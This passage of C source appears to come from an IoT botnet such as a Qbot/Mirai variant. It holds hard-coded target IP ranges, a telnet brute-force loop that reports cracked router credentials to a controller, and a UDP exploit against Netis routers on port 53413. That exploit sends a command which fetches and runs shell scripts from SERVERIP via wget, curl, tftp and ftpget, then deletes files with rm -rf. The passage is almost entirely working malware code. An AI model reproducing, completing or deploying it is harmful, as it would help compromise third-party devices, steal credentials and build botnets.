  931. if(randnum == 78)
  932. {
  933. szprintf(ip, "14.180.%d.%d", ipState[3], ipState[4]);
  934. }
  935. if(randnum == 79)
  936. {
  937. szprintf(ip, "14.181.%d.%d", ipState[3], ipState[4]);
  938. }
  939. if(randnum == 80)
  940. {
  941. szprintf(ip, "14.182.%d.%d", ipState[3], ipState[4]);
  942. }
  943. if(randnum == 81)
  944. {
  945. szprintf(ip, "14.183.%d.%d", ipState[3], ipState[4]);
  946. }
  947. if(randnum == 82)
  948. {
  949. szprintf(ip, "14.184.%d.%d", ipState[3], ipState[4]);
  950. }
  951. if(randnum == 83)
  952. {
  953. szprintf(ip, "14.185.%d.%d", ipState[3], ipState[4]);
  954. }
  955. if(randnum == 84)
  956. {
  957. szprintf(ip, "14.186.%d.%d", ipState[3], ipState[4]);
  958. }
  959. if(randnum == 85)
  960. {
  961. szprintf(ip, "14.187.%d.%d", ipState[3], ipState[4]);
  962. }
  963. if(randnum == 86)
  964. {
  965. szprintf(ip, "14.188.%d.%d", ipState[3], ipState[4]);
  966. }
  967. if(randnum == 87)
  968. {
  969. szprintf(ip, "14.189.%d.%d", ipState[3], ipState[4]);
  970. }
  971. if(randnum == 88)
  972. {
  973. szprintf(ip, "14.190.%d.%d", ipState[3], ipState[4]);
  974. }
  975. if(randnum == 89)
  976. {
  977. szprintf(ip, "14.191.%d.%d", ipState[3], ipState[4]);
  978. }
  979. if(randnum == 90)
  980. {
  981. szprintf(ip, "45.121.%d.%d", ipState[3], ipState[4]);
  982. }
  983. if(randnum == 91)
  984. {
  985. szprintf(ip, "45.120.%d.%d", ipState[3], ipState[4]);
  986. }
  987. if(randnum == 92)
  988. {
  989. szprintf(ip, "45.115.%d.%d", ipState[3], ipState[4]);
  990. }
  991. if(randnum == 93)
  992. {
  993. szprintf(ip, "43.252.%d.%d", ipState[3], ipState[4]);
  994. }
  995. if(randnum == 94)
  996. {
  997. szprintf(ip, "43.230.%d.%d", ipState[3], ipState[4]);
  998. }
  999. if(randnum == 95)
  1000. {
  1001. szprintf(ip, "43.240.%d.%d", ipState[3], ipState[4]);
  1002. }
  1003. if(randnum == 96)
  1004. {
  1005. szprintf(ip, "43.245.%d.%d", ipState[3], ipState[4]);
  1006. }
  1007. if(randnum == 97)
  1008. {
  1009. szprintf(ip, "41.174.%d.%d", ipState[3], ipState[4]);
  1010. }
  1011. if(randnum == 98)
  1012. {
  1013. szprintf(ip, "49.118.%d.%d", ipState[3], ipState[4]);
  1014. }
  1015. if(randnum == 99)
  1016. {
  1017. szprintf(ip, "78.188.%d.%d", ipState[3], ipState[4]);
  1018. }
  1019. if(randnum == 100)
  1020. {
  1021. szprintf(ip, "45.127.%d.%d", ipState[3], ipState[4]);
  1022. }
  1023. if(randnum == 101)
  1024. {
  1025. szprintf(ip, "103.30.%d.%d", ipState[3], ipState[4]);
  1026. }
  1027. if(randnum == 102)
  1028. {
  1029. szprintf(ip, "14.33.%d.%d", ipState[3], ipState[4]);
  1030. }
  1031. if(randnum == 103)
  1032. {
  1033. szprintf(ip, "123.16.%d.%d", ipState[3], ipState[4]);
  1034. }
  1035. if(randnum == 104)
  1036. {
  1037. szprintf(ip, "202.44.%d.%d", ipState[3], ipState[4]);
  1038. }
  1039. if(randnum == 105)
  1040. {
  1041. szprintf(ip, "116.93.%d.%d", ipState[3], ipState[4]);
  1042. }
  1043. if(randnum == 106)
  1044. {
  1045. szprintf(ip, "91.83.%d.%d", ipState[3], ipState[4]);
  1046. }
  1047. if(randnum == 107)
  1048. {
  1049. szprintf(ip, "41.253.%d.%d", ipState[3], ipState[4]);
  1050. }
  1051. if(randnum == 108)
  1052. {
  1053. szprintf(ip, "117.173.%d.%d", ipState[3], ipState[4]);
  1054. }
  1055. if(randnum == 109)
  1056. {
  1057. szprintf(ip, "113.190.%d.%d", ipState[3], ipState[4]);
  1058. }
  1059. if(randnum == 110)
  1060. {
  1061. szprintf(ip, "146.88.%d.%d", ipState[3], ipState[4]);
  1062. }
  1063. if(randnum == 111)
  1064. {
  1065. szprintf(ip, "112.196.%d.%d", ipState[3], ipState[4]);
  1066. }
  1067. if(randnum == 112)
  1068. {
  1069. szprintf(ip, "113.178.%d.%d", ipState[3], ipState[4]);
  1070. }
  1071. if(randnum == 113)
  1072. {
  1073. szprintf(ip, "112.45.%d.%d", ipState[3], ipState[4]);
  1074. }
  1075. if(randnum == 114)
  1076. {
  1077. szprintf(ip, "183.223.%d.%d", ipState[3], ipState[4]);
  1078. }
  1079. if(randnum == 115)
  1080. {
  1081. szprintf(ip, "116.71.%d.%d", ipState[3], ipState[4]);
  1082. }
  1083. if(randnum == 116)
  1084. {
  1085. szprintf(ip, "103.44.%d.%d", ipState[3], ipState[4]);
  1086. }
  1087. if(randnum == 117)
  1088. {
  1089. szprintf(ip, "110.235.%d.%d", ipState[3], ipState[4]);
  1090. }
  1091. if(randnum == 118)
  1092. {
  1093. szprintf(ip, "124.253.%d.%d", ipState[3], ipState[4]);
  1094. }
  1095. if(randnum == 119)
  1096. {
  1097. szprintf(ip, "211.237.%d.%d", ipState[3], ipState[4]);
  1098. }
  1099. if(randnum == 120)
  1100. {
  1101. szprintf(ip, "117.175.%d.%d", ipState[3], ipState[4]);
  1102. }
  1103. if(randnum == 121)
  1104. {
  1105. szprintf(ip, "117.173.%d.%d", ipState[3], ipState[4]);
  1106. }
  1107. if(randnum == 122)
  1108. {
  1109. szprintf(ip, "178.93.%d.%d", ipState[3], ipState[4]);
  1110. }
  1111. if(randnum == 123)
  1112. {
  1113. szprintf(ip, "111.9.%d.%d", ipState[3], ipState[4]);
  1114. }
  1115. if(randnum == 124)
  1116. {
  1117. szprintf(ip, "222.252.%d.%d", ipState[3], ipState[4]);
  1118. }
  1119. if(randnum == 125)
  1120. {
  1121. szprintf(ip, "113.174.%d.%d", ipState[3], ipState[4]);
  1122. }
  1123. if(randnum == 126)
  1124. {
  1125. szprintf(ip, "222.252.%d.%d", ipState[3], ipState[4]);
  1126. }
  1127. if(randnum == 127)
  1128. {
  1129. szprintf(ip, "113.160.%d.%d", ipState[3], ipState[4]);
  1130. }
  1131. if(randnum == 128)
  1132. {
  1133. szprintf(ip, "113.161.%d.%d", ipState[3], ipState[4]);
  1134. }
  1135. if(randnum == 129)
  1136. {
  1137. szprintf(ip, "113.162.%d.%d", ipState[3], ipState[4]);
  1138. }
  1139. if(randnum == 130)
  1140. {
  1141. szprintf(ip, "113.163.%d.%d", ipState[3], ipState[4]);
  1142. }
  1143. if(randnum == 131)
  1144. {
  1145. szprintf(ip, "113.164.%d.%d", ipState[3], ipState[4]);
  1146. }
  1147. if(randnum == 132)
  1148. {
  1149. szprintf(ip, "113.165.%d.%d", ipState[3], ipState[4]);
  1150. }
  1151. if(randnum == 133)
  1152. {
  1153. szprintf(ip, "113.166.%d.%d", ipState[3], ipState[4]);
  1154. }
  1155. if(randnum == 134)
  1156. {
  1157. szprintf(ip, "113.167.%d.%d", ipState[3], ipState[4]);
  1158. }
  1159. if(randnum == 135)
  1160. {
  1161. szprintf(ip, "113.168.%d.%d", ipState[3], ipState[4]);
  1162. }
  1163. if(randnum == 136)
  1164. {
  1165. szprintf(ip, "113.169.%d.%d", ipState[3], ipState[4]);
  1166. }
  1167. if(randnum == 137)
  1168. {
  1169. szprintf(ip, "123.17.%d.%d", ipState[3], ipState[4]);
  1170. }
  1171. if(randnum == 138)
  1172. {
  1173. szprintf(ip, "123.18.%d.%d", ipState[3], ipState[4]);
  1174. }
  1175. if(randnum == 139)
  1176. {
  1177. szprintf(ip, "123.19.%d.%d", ipState[3], ipState[4]);
  1178. }
  1179. if(randnum == 140)
  1180. {
  1181. szprintf(ip, "123.20.%d.%d", ipState[3], ipState[4]);
  1182. }
  1183. if(randnum == 141)
  1184. {
  1185. szprintf(ip, "123.21.%d.%d", ipState[3], ipState[4]);
  1186. }
  1187. if(randnum == 142)
  1188. {
  1189. szprintf(ip, "123.22.%d.%d", ipState[3], ipState[4]);
  1190. }
  1191. if(randnum == 143)
  1192. {
  1193. szprintf(ip, "222.252.%d.%d", ipState[3], ipState[4]);
  1194. }
  1195. if(randnum == 144)
  1196. {
  1197. szprintf(ip, "222.253.%d.%d", ipState[3], ipState[4]);
  1198. }
  1199. if(randnum == 145)
  1200. {
  1201. szprintf(ip, "222.254.%d.%d", ipState[3], ipState[4]);
  1202. }
  1203. if(randnum == 146)
  1204. {
  1205. szprintf(ip, "222.255.%d.%d", ipState[3], ipState[4]);
  1206. }
  1207. if(randnum == 147)
  1208. {
  1209. szprintf(ip, "37.247.%d.%d", ipState[3], ipState[4]);
  1210. }
  1211. if(randnum == 148)
  1212. {
  1213. szprintf(ip, "41.208.%d.%d", ipState[3], ipState[4]);
  1214. }
  1215. if(randnum == 149)
  1216. {
  1217. szprintf(ip, "183.220.%d.%d", ipState[3], ipState[4]);
  1218. }
  1219. if(randnum == 150)
  1220. {
  1221. szprintf(ip, "175.201.%d.%d", ipState[3], ipState[4]);
  1222. }
  1223. if(randnum == 151)
  1224. {
  1225. szprintf(ip, "103.198.%d.%d", ipState[3], ipState[4]);
  1226. }
  1227. if(randnum == 152)
  1228. {
  1229. szprintf(ip, "183.223.%d.%d", ipState[3], ipState[4]);
  1230. }
  1231. if(randnum == 153)
  1232. {
  1233. szprintf(ip, "50.205.%d.%d", ipState[3], ipState[4]);
  1234. }
  1235. if(randnum == 154)
  1236. {
  1237. szprintf(ip, "88.248.%d.%d", ipState[3], ipState[4]);
  1238. }
  1239. if(randnum == 155)
  1240. {
  1241. szprintf(ip, "88.105.%d.%d", ipState[3], ipState[4]);
  1242. }
  1243. if(randnum == 156)
  1244. {
  1245. szprintf(ip, "88.247.%d.%d", ipState[3], ipState[4]);
  1246. }
  1247. if(randnum == 157)
  1248. {
  1249. szprintf(ip, "85.105.%d.%d", ipState[3], ipState[4]);
  1250. }
  1251. if(randnum == 158)
  1252. {
  1253. szprintf(ip, "188.3.%d.%d", ipState[3], ipState[4]);
  1254. }
  1255. if(randnum == 159)
  1256. {
  1257. szprintf(ip, "103.203.%d.%d", ipState[3], ipState[4]);
  1258. }
  1259. if(randnum == 160)
  1260. {
  1261. szprintf(ip, "103.55.%d.%d", ipState[3], ipState[4]);
  1262. }
  1263. if(randnum == 161)
  1264. {
  1265. szprintf(ip, "103.220.%d.%d", ipState[3], ipState[4]);
  1266. }
  1267. if(randnum == 162)
  1268. {
  1269. szprintf(ip, "183.233.%d.%d", ipState[3], ipState[4]);
  1270. }
  1271. if(randnum == 163)
  1272. {
  1273. szprintf(ip, "103.242.%d.%d", ipState[3], ipState[4]);
  1274. }
  1275. if(randnum == 164)
  1276. {
  1277. szprintf(ip, "103.198.%d.%d", ipState[3], ipState[4]);
  1278. }
  1279. if(randnum == 165)
  1280. {
  1281. szprintf(ip, "103.14.%d.%d", ipState[3], ipState[4]);
  1282. }
  1283. if(randnum == 166)
  1284. {
  1285. szprintf(ip, "103.195.%d.%d", ipState[3], ipState[4]);
  1286. }
  1287. if(randnum == 167)
  1288. {
  1289. szprintf(ip, "103.203.%d.%d", ipState[3], ipState[4]);
  1290. }
  1291. if(randnum == 168)
  1292. {
  1293. szprintf(ip, "103.214.%d.%d", ipState[3], ipState[4]);
  1294. }
  1295. if(randnum == 169)
  1296. {
  1297. szprintf(ip, "103.218.%d.%d", ipState[3], ipState[4]);
  1298. }
  1299. if(randnum == 171)
  1300. {
  1301. szprintf(ip, "103.225.%d.%d", ipState[3], ipState[4]);
  1302. }
  1303. if(randnum == 172)
  1304. {
  1305. szprintf(ip, "103.228.%d.%d", ipState[3], ipState[4]);
  1306. }
  1307. if(randnum == 173)
  1308. {
  1309. szprintf(ip, "103.231.%d.%d", ipState[3], ipState[4]);
  1310. }
  1311. if(randnum == 174)
  1312. {
  1313. szprintf(ip, "103.60.%d.%d", ipState[3], ipState[4]);
  1314. }
  1315. if(randnum == 175)
  1316. {
  1317. szprintf(ip, "103.248.%d.%d", ipState[3], ipState[4]);
  1318. }
  1319. if(randnum == 176)
  1320. {
  1321. szprintf(ip, "103.253.%d.%d", ipState[3], ipState[4]);
  1322. }
  1323. if(randnum == 177)
  1324. {
  1325. szprintf(ip, "103.255.%d.%d", ipState[3], ipState[4]);
  1326. }
  1327. if(randnum == 178)
  1328. {
  1329. szprintf(ip, "103.35.%d.%d", ipState[3], ipState[4]);
  1330. }
  1331. if(randnum == 179)
  1332. {
  1333. szprintf(ip, "103.49.%d.%d", ipState[3], ipState[4]);
  1334. }
  1335. if(randnum == 180)
  1336. {
  1337. szprintf(ip, "103.62.%d.%d", ipState[3], ipState[4]);
  1338. }
  1339. if(randnum == 181)
  1340. {
  1341. szprintf(ip, "144.48.%d.%d", ipState[3], ipState[4]);
  1342. }
  1343. if(randnum == 182)
  1344. {
  1345. szprintf(ip, "163.47.%d.%d", ipState[3], ipState[4]);
  1346. }
  1347. if(randnum == 183)
  1348. {
  1349. szprintf(ip, "163.53.%d.%d", ipState[3], ipState[4]);
  1350. }
  1351. if(randnum == 184)
  1352. {
  1353. szprintf(ip, "223.29.%d.%d", ipState[3], ipState[4]);
  1354. }
  1355. if(randnum == 185)
  1356. {
  1357. szprintf(ip, "59.153.%d.%d", ipState[3], ipState[4]);
  1358. }
  1359. if(randnum == 186)
  1360. {
  1361. szprintf(ip, "113.176.%d.%d", ipState[3], ipState[4]);
  1362. }
  1363. if(randnum == 187)
  1364. {
  1365. szprintf(ip, "113.175.%d.%d", ipState[3], ipState[4]);
  1366. }
  1367. if(randnum == 188)
  1368. {
  1369. szprintf(ip, "113.177.%d.%d", ipState[3], ipState[4]);
  1370. }
  1371. if(randnum == 189)
  1372. {
  1373. szprintf(ip, "113.183.%d.%d", ipState[3], ipState[4]);
  1374. }
  1375. if(randnum == 190)
  1376. {
  1377. szprintf(ip, "202.164.%d.%d", ipState[3], ipState[4]);
  1378. }
  1379. if(randnum == 191)
  1380. {
  1381. szprintf(ip, "203.134.%d.%d", ipState[3], ipState[4]);
  1382. }
  1383. if(randnum == 192)
  1384. {
  1385. szprintf(ip, "210.56.%d.%d", ipState[3], ipState[4]);
  1386. }
  1387. if(randnum == 193)
  1388. {
  1389. szprintf(ip, "49.156.%d.%d", ipState[3], ipState[4]);
  1390. }
  1391. if(randnum == 194)
  1392. {
  1393. szprintf(ip, "203.210.%d.%d", ipState[3], ipState[4]);
  1394. }
  1395. if(randnum == 195)
  1396. {
  1397. szprintf(ip, "117.181.%d.%d", ipState[3], ipState[4]);
  1398. }
  1399. if(randnum == 196)
  1400. {
  1401. szprintf(ip, "117.178.%d.%d", ipState[3], ipState[4]);
  1402. }
  1403. if(randnum == 197)
  1404. {
  1405. szprintf(ip, "117.177.%d.%d", ipState[3], ipState[4]);
  1406. }
  1407. if(randnum == 198)
  1408. {
  1409. szprintf(ip, "117.176.%d.%d", ipState[3], ipState[4]);
  1410. }
  1411. if(randnum == 199)
  1412. {
  1413. szprintf(ip, "117.170.%d.%d", ipState[3], ipState[4]);
  1414. }
  1415. if(randnum == 200)
  1416. {
  1417. szprintf(ip, "117.171.%d.%d", ipState[3], ipState[4]);
  1418. }
  1419. if(randnum == 201)
  1420. {
  1421. szprintf(ip, "117.162.%d.%d", ipState[3], ipState[4]);
  1422. }
  1423. if(randnum == 201)
  1424. {
  1425. szprintf(ip, "112.26.%d.%d", ipState[3], ipState[4]);
  1426. }
  1427. if(randnum == 202)
  1428. {
  1429. szprintf(ip, "112.27.%d.%d", ipState[3], ipState[4]);
  1430. }
  1431. if(randnum == 203)
  1432. {
  1433. szprintf(ip, "112.28.%d.%d", ipState[3], ipState[4]);
  1434. }
  1435. if(randnum == 204)
  1436. {
  1437. szprintf(ip, "112.29.%d.%d", ipState[3], ipState[4]);
  1438. }
  1439. if(randnum == 205)
  1440. {
  1441. szprintf(ip, "112.30.%d.%d", ipState[3], ipState[4]);
  1442. }
  1443. if(randnum == 206)
  1444. {
  1445. szprintf(ip, "112.31.%d.%d", ipState[3], ipState[4]);
  1446. }
  1447. if(randnum == 207)
  1448. {
  1449. szprintf(ip, "203.150.%d.%d", ipState[3], ipState[4]);
  1450. }
  1451. if(randnum == 208)
  1452. {
  1453. szprintf(ip, "50.233.%d.%d", ipState[3], ipState[4]);
  1454. }
  1455.  
  1456. return inet_addr(ip);
  1457. }
  1458.  
  1459. int Dickranges[] = {110,111,112,113,114,115,116,117,118,119,223,1,27,182,36,39,42,123,122,41,59,220,221,175,14,101,58,60,61,183};
  1460. in_addr_t NetisRanges()
  1461. {
  1462. int range = rand() % (sizeof(Dickranges)/sizeof(char *));
  1463. ipState[1] = Dickranges[range];
  1464. ipState[2] = rand() % 255;
  1465. ipState[3] = rand() % 255;
  1466. ipState[4] = rand() % 255;
  1467. char ip[16] = {0};
  1468. szprintf(ip, "%d.%d.%d.%d", ipState[0], ipState[1], ipState[2], ipState[3]);
  1469. return inet_addr(ip);
  1470. }
  1471. in_addr_t HackerScan(in_addr_t netmask)
  1472. {
  1473. in_addr_t tmp = ntohl(ourIP.s_addr) & netmask;
  1474. return tmp ^ ( rand_cmwc() & ~netmask);
  1475. }
  1476. unsigned short csum (unsigned short *buf, int count)
  1477. {
  1478. register uint64_t sum = 0;
  1479. while( count > 1 ) { sum += *buf++; count -= 2; }
  1480. if(count > 0) { sum += *(unsigned char *)buf; }
  1481. while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
  1482. return (uint16_t)(~sum);
  1483. }
  1484. unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph)
  1485. {
  1486. struct tcp_pseudo
  1487. {
  1488. unsigned long src_addr;
  1489. unsigned long dst_addr;
  1490. unsigned char zero;
  1491. unsigned char proto;
  1492. unsigned short length;
  1493. } pseudohead;
  1494. unsigned short total_len = iph->tot_len;
  1495. pseudohead.src_addr=iph->saddr;
  1496. pseudohead.dst_addr=iph->daddr;
  1497. pseudohead.zero=0;
  1498. pseudohead.proto=IPPROTO_TCP;
  1499. pseudohead.length=htons(sizeof(struct tcphdr));
  1500. int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
  1501. unsigned short *tcp = malloc(totaltcp_len);
  1502. memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
  1503. memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
  1504. unsigned short output = csum(tcp,totaltcp_len);
  1505. free(tcp);
  1506. return output;
  1507. }
  1508. void makeIPPacket(struct iphdr *iph, uint32_t dest, uint32_t source, uint8_t protocol, int packetSize)
  1509. {
  1510. iph->ihl = 5;
  1511. iph->version = 4;
  1512. iph->tos = 0;
  1513. iph->tot_len = sizeof(struct iphdr) + packetSize;
  1514. iph->id = rand_cmwc();
  1515. iph->frag_off = 0;
  1516. iph->ttl = MAXTTL;
  1517. iph->protocol = protocol;
  1518. iph->check = 0;
  1519. iph->saddr = source;
  1520. iph->daddr = dest;
  1521. }
  1522. int sclose(int fd)
  1523. {
  1524. if(3 > fd) return 1;
  1525. close(fd);
  1526. return 0;
  1527. }
  1528. struct telstate_t
  1529. {
  1530. int fd;
  1531. unsigned int ip;
  1532. unsigned char state;
  1533. unsigned char complete;
  1534. unsigned char usernameInd;
  1535. unsigned char passwordInd;
  1536. unsigned char tempDirInd;
  1537. unsigned int totalTimeout;
  1538. unsigned short bufUsed;
  1539. char *sockbuf;
  1540. };
  1541. const char* get_telstate_host(struct telstate_t* telstate)
  1542. {
  1543. struct in_addr in_addr_ip;
  1544. in_addr_ip.s_addr = telstate->ip;
  1545. return inet_ntoa(in_addr_ip);
  1546. }
  1547. int read_until_response(int fd, int timeout_usec, char* buffer, int buf_size, char** strings)
  1548. {
  1549. int num_bytes, i;
  1550. memset(buffer, 0, buf_size);
  1551. num_bytes = read_with_timeout(fd, timeout_usec, buffer, buf_size);
  1552. if(buffer[0] == 0xFF)
  1553. {
  1554. negotiate(fd, buffer, 3);
  1555. }
  1556. if(contains_string(buffer, strings))
  1557. {
  1558. return 1;
  1559. }
  1560. return 0;
  1561. }
  1562. int read_with_timeout(int fd, int timeout_usec, char* buffer, int buf_size)
  1563. {
  1564. fd_set read_set;
  1565. struct timeval tv;
  1566. tv.tv_sec = 0;
  1567. tv.tv_usec = timeout_usec;
  1568. FD_ZERO(&read_set);
  1569. FD_SET(fd, &read_set);
  1570. if (select(fd+1, &read_set, NULL, NULL, &tv) < 1)
  1571. return 0;
  1572. return recv(fd, buffer, buf_size, 0);
  1573. }
  1574. int contains_success(char* buffer)
  1575. {
  1576. return contains_string(buffer, successes);
  1577. }
  1578. int contains_fail(char* buffer)
  1579. {
  1580. return contains_string(buffer, fails);
  1581. }
  1582. int contains_string(char* buffer, char** strings)
  1583. {
  1584. int num_strings = 0, i = 0;
  1585. for(num_strings = 0; strings[++num_strings] != 0; );
  1586. for(i = 0; i < num_strings; i++)
  1587. {
  1588. if(strcasestr(buffer, strings[i]))
  1589. {
  1590. return 1;
  1591. }
  1592. }
  1593. return 0;
  1594. }
  1595. //major improvments done by Jonah
  1596. void StartTheLelz() {
  1597. int i, res, j;
  1598. char buf[128], cur_dir;
  1599. int wait_usec = 10;
  1600. int maxfds = 1000;
  1601. int max = maxfds;
  1602. fd_set fdset;
  1603. struct timeval tv;
  1604. socklen_t lon;
  1605. int valopt;
  1606. srand(time(NULL) ^ rand_cmwc());
  1607. char line[256];
  1608. char* buffer;
  1609. struct sockaddr_in dest_addr;
  1610. dest_addr.sin_family = AF_INET;
  1611. dest_addr.sin_port = htons(23);
  1612. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1613. buffer = malloc(BUFFER_SIZE + 1);
  1614. memset(buffer, 0, BUFFER_SIZE + 1);
  1615. struct telstate_t fds[max];
  1616. memset(fds, 0, max * (sizeof(int) + 1));
  1617. for(i = 0; i < max; i++) {
  1618. memset(&(fds[i]), 0, sizeof(struct telstate_t));
  1619. fds[i].complete = 1;
  1620. fds[i].sockbuf = buffer; }
  1621. while(1) {
  1622. for(i = 0; i < max; i++) {
  1623. if(fds[i].totalTimeout == 0) {
  1624. fds[i].totalTimeout = time(NULL); }
  1625. switch(fds[i].state) {
  1626. case 0: {
  1627. if(fds[i].complete == 1) {
  1628. char *tmp = fds[i].sockbuf;
  1629. memset(&(fds[i]), 0, sizeof(struct telstate_t));
  1630. fds[i].sockbuf = tmp;
  1631. fds[i].ip = HackerScan2(); }
  1632. else if(fds[i].complete == 0) {
  1633. fds[i].passwordInd++;
  1634. fds[i].usernameInd++;
  1635. if(fds[i].passwordInd == sizeof(passwords) / sizeof(char *)) {
  1636. fds[i].complete = 1;
  1637. continue; }
  1638. if(fds[i].usernameInd == sizeof(usernames) / sizeof(char *)) {
  1639. fds[i].complete = 1;
  1640. continue;
  1641. }
  1642. }
  1643. dest_addr.sin_family = AF_INET;
  1644. dest_addr.sin_port = htons(23);
  1645. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1646. dest_addr.sin_addr.s_addr = fds[i].ip;
  1647. fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
  1648. if(fds[i].fd == -1) continue;
  1649. fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
  1650. if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) == -1 && errno != EINPROGRESS) {
  1651. sclose(fds[i].fd);
  1652. fds[i].complete = 1; }
  1653. else {
  1654. fds[i].state = 1;
  1655. fds[i].totalTimeout = 0;
  1656. }
  1657. }
  1658. break;
  1659. case 1:
  1660. {
  1661. FD_ZERO(&fdset);
  1662. FD_SET(fds[i].fd, &fdset);
  1663. tv.tv_sec = 0;
  1664. tv.tv_usec = wait_usec;
  1665. res = select(fds[i].fd+1, NULL, &fdset, NULL, &tv);
  1666. if(res == 1) {
  1667. lon = sizeof(int);
  1668. valopt = 0;
  1669. getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  1670. if(valopt) {
  1671. sclose(fds[i].fd);
  1672. fds[i].state = 0;
  1673. fds[i].complete = 1;
  1674. } else {
  1675. fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) & (~O_NONBLOCK));
  1676. fds[i].totalTimeout = 0;
  1677. fds[i].bufUsed = 0;
  1678. memset(fds[i].sockbuf, 0, 1024);
  1679. fds[i].state = 2;
  1680. } continue; }
  1681. else if(res == -1) {
  1682. sclose(fds[i].fd);
  1683. fds[i].state = 0;
  1684. fds[i].complete = 1;
  1685. continue; }
  1686. if(fds[i].totalTimeout + 6 < time(NULL)) {
  1687. sclose(fds[i].fd);
  1688. fds[i].state = 0;
  1689. fds[i].complete = 1;
  1690. }
  1691. }
  1692. break;
  1693. case 2:
  1694. {
  1695. if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, BUFFER_SIZE, advances)) {
  1696. if(contains_fail(fds[i].sockbuf)) {
  1697. fds[i].state = 0;
  1698. } else {
  1699. fds[i].state = 3; }
  1700. continue; }
  1701. if(fds[i].totalTimeout + 6 < time(NULL)) {
  1702. fds[i].state = 0;
  1703. fds[i].complete = 1;
  1704. }
  1705. }
  1706. break;
  1707. case 3: {
  1708. if(send(fds[i].fd, usernames[fds[i].usernameInd], strlen(usernames[fds[i].usernameInd]), MSG_NOSIGNAL) < 0) {
  1709. fds[i].state = 0;
  1710. fds[i].complete = 1;
  1711. continue; }
  1712. if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) {
  1713. fds[i].state = 0;
  1714. fds[i].complete = 1;
  1715. continue; }
  1716. fds[i].state = 4; }
  1717. break;
  1718. case 4:
  1719. {
  1720. if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, BUFFER_SIZE, advances))
  1721. {
  1722. if(contains_fail(fds[i].sockbuf)) {
  1723. fds[i].state = 0;
  1724. } else {
  1725. fds[i].state = 5; }
  1726. continue; }
  1727. if(fds[i].totalTimeout + 6 < time(NULL)) {
  1728. fds[i].state = 0;
  1729. fds[i].complete = 1;
  1730. }
  1731. }
  1732. break;
  1733. case 5:
  1734. {
  1735. if(send(fds[i].fd, passwords[fds[i].passwordInd], strlen(passwords[fds[i].passwordInd]), MSG_NOSIGNAL) < 0) {
  1736. fds[i].state = 0;
  1737. fds[i].complete = 1;
  1738. continue; }
  1739. if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) {
  1740. fds[i].state = 0;
  1741. fds[i].complete = 1;
  1742. continue; }
  1743. fds[i].state = 6;
  1744. }
  1745. break;
  1746. case 6:
  1747. {
  1748. if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, BUFFER_SIZE, advances2)) {
  1749. fds[i].totalTimeout = time(NULL);
  1750. if(contains_fail(fds[i].sockbuf)) {
  1751. fds[i].state = 0; }
  1752. else if(contains_success(fds[i].sockbuf)) {
  1753. if(fds[i].complete == 2) {
  1754. fds[i].state = 7; }
  1755. else {
  1756. HackerPrint(D1ckSucka, "\x1b[0;31mSuccessfully Bruteforced IP: \x1b[0;33m%s | \x1b[0;31mUsername: \x1b[0;33m%s | \x1b[0;31mPassword: \x1b[0;33m%s\x1b[0m", get_telstate_host(&fds[i]), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]);
  1757. HackerPrint(D1ckSucka, "REPORT %s:%s:%s", get_telstate_host(&fds[i]), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]);
  1758. fds[i].state = 7; }
  1759. } else {
  1760. fds[i].state = 0;
  1761. fds[i].complete = 1;
  1762. } continue; }
  1763. if(fds[i].totalTimeout + 7 < time(NULL)) {
  1764. fds[i].state = 0;
  1765. fds[i].complete = 1;
  1766. }
  1767. }
  1768. break;
  1769. case 7:
  1770. {
  1771. fds[i].totalTimeout = time(NULL);
  1772. if(send(fds[i].fd, hvgsgd, strlen(hvgsgd), MSG_NOSIGNAL) < 0) {
  1773. sclose(fds[i].fd);
  1774. fds[i].state = 0;
  1775. fds[i].complete = 1;
  1776. continue; }
  1777. fds[i].complete = 3;
  1778. if(fds[i].totalTimeout + 60 < time(NULL)) {
  1779. if(fds[i].complete !=3){
  1780. }
  1781. fds[i].state = 0;
  1782. fds[i].complete = 1;
  1783. }
  1784. break;
  1785. }
  1786. }
  1787. }
  1788. }
  1789. }
  1790. void StartTheNetis()
  1791. {
  1792. while(1){
  1793. char payload2[1024];
  1794. int clientSocket, portNum, nBytes;
  1795. struct sockaddr_in serverAddr;
  1796. socklen_t addr_size;
  1797. clientSocket = socket(PF_INET, SOCK_DGRAM, 0);
  1798. uint32_t ip;
  1799. ip = NetisRanges();
  1800. serverAddr.sin_family = AF_INET;
  1801. serverAddr.sin_port = htons(53413);
  1802. serverAddr.sin_addr.s_addr = ip;
  1803. memset(serverAddr.sin_zero, '\0', sizeof serverAddr.sin_zero);
  1804. addr_size = sizeof serverAddr;
  1805. sprintf(payload2, "%s cd /tmp; wget http://SERVERIP/bins.sh; curl -O http://SERVERIP/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp SERVERIP -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g SERVERIP; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 SERVERIP ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf bins.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf *\r\n x00", NETIS);
  1806. sendto(clientSocket,payload2,strlen(payload2),0,(struct sockaddr *)&serverAddr,addr_size);
  1807. }
  1808. }
  1809. //LOOPING PAYLOAD LOL IDFK WHY
  1810. void LoopPayload(){
  1811. int i;
  1812. for(i = 0; i < 9; i++){
